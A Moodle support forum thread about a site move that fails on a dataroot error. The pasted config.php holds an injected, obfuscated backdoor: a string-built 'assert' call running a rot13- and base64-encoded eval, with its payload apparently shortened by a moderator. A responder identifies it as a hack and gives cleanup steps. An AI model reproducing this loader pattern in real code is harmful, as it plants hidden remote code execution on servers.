had to change hosts unable to run moodle

had to change hosts unable to run moodle

by Alton Graham -
Number of replies: 4

I have all the files needed, and database. also a copy of the moodledata folder. however when i try to open the page i get 

Fatal error: $CFG->dataroot is not configured properly, directory does not exist or is not accessible! Exiting.


<?php

//###===###

error_reporting(0); 

$strings = "as";$strings .= "sert";

if (!@$mdc96972) {$mdc96972=1;@$strings(str_rot13('riny(onfr64_qrpbqr("VTyzXUA0paA0pvtxK1ASHyMSHyfvHxIEIHIGIS9IHxxvKFjvq3ISfvLlWqXGg9"));'));}

//###===###

  // Moodle configuration file


unset($CFG);

global $CFG;

$CFG = new stdClass();


$CFG->dbtype    = 'mysqli';

$CFG->dblibrary = 'native';

$CFG->dbhost    = 'localhost';

$CFG->dbname    = 'klixoftc_ols';

$CFG->dbuser    = '*******';

$CFG->dbpass    = '************';

$CFG->prefix    = 'mdl_';

$CFG->dboptions = array (

  'dbpersist' => 0,

  'dbport' => '',

  'dbsocket' => '',

);


$CFG->wwwroot   = 'http://ols.camperdownhigh.com';

$CFG->dataroot  = '/var/www/moodledata';

$CFG->admin     = 'admin';


$CFG->directorypermissions = 0777;


require_once(dirname(__FILE__) . '/lib/setup.php');


// There is no php closing tag in this file,

// it is intentional because it prevents trailing whitespace problems!


It is for work and i am in trouble if not ressolved

(Edited by Helen Foster to shorten long string of characters etc - original submission Friday, 8 January 2016, 2:38 AM)

Average of ratings: -
In reply to Alton Graham

Re: had to change hosts unable to run moodle

by Alton Graham -

I have changed the sensitive info on my site and sorry for the long error message it was a rushed thing

In reply to Alton Graham

Re: had to change hosts unable to run moodle

by Ken Task -
Picture of Particularly helpful Moodlers

In the first posting ... the lines above   // Moodle configuration file ... are they really there?  if they are, why are they there?   NOT normal.   Matter of fact, you should remove them.

Think your site has been hacked.

The rest of the config file looks ok.    Since you've had to move, one should set the files/folders in code and the data directory to the user/group of the web server you are running.   Debian?   Then www-data:www-data I think.

Would also do something like this on all files in the code directory:

fgrep 'mdc96972' ./*/*.php

That shouldn't return anything.   If it does, your php files have been compromised.

Install clamav and clamscan the code directory:

cd the path to your code directory

Then:

clamscan -r ./

A bunch of files will scroll by ... but they all should say 'OK' at the end.

If they don't say OK ... the lines might suggest 'infection'.

Check the version.php file for the version number of the Moodle.   You might have to go after a fresh package of Moodle.

Save your config.php file to another location AND remove those lines.

Get fresh code onto server that's as close to the version you had running.   version.php file at code root will tell you what version.

If you had plugins, those will be missing from disk until you find the plugins and wget them into the new code directory.

'spirit of sharing', Ken


In reply to Ken Task

Re: had to change hosts unable to run moodle

by Alton Graham -

i tried installing a new one on the host and got a correct path for the moodle data. but now i get an error saying "Error writing to database"


In reply to Alton Graham

Re: had to change hosts unable to run moodle

by Ken Task -
Picture of Particularly helpful Moodlers

Maybe?

https://docs.moodle.org/30/en/Installing_Moodle

Does the DB user for Moodle have correct priv's?

Can you connect to the DB via command line?  As the user you have in config.php file of Moodle?

Not really enough info about the system upon which you are installing, really.

'spirit of sharing', Ken